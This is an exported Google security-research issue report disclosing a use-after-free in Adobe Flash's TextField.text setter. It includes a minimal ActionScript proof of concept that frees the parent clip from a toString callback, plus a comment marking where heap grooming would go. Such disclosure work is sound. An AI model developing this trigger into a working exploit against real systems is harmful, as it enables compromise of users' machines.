xti9er / google-security-research

Automatically exported from code.google.com/p/google-security-research
0 stars 0 forks source link

Adobe Flash: Use-after-free in TextField.text setter #576

Closed GoogleCodeExporter closed 8 years ago

GoogleCodeExporter commented 8 years ago
There is a use-after-free in the TextField.text setter. If the text the field 
is set to is an object with toString defined, the toString function can free 
the field's parent object, which is then used. A minimal PoC is as follows:

var mc = this.createEmptyMovieClip("mc", 101);
var tf = mc.createTextField("tf", 102, 1, 1, 100, 100);
tf.text = {toString : func};

function func(){

    mc.removeMovieClip();

        // Fix heap here

    return "natalie";

    }

A sample swf and fla are attached.

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.

Original issue reported on code.google.com by natashe...@google.com on 14 Oct 2015 at 1:35

Attachments:

GoogleCodeExporter commented 8 years ago
PSIRT-4181

Original comment by natashe...@google.com on 17 Dec 2015 at 10:21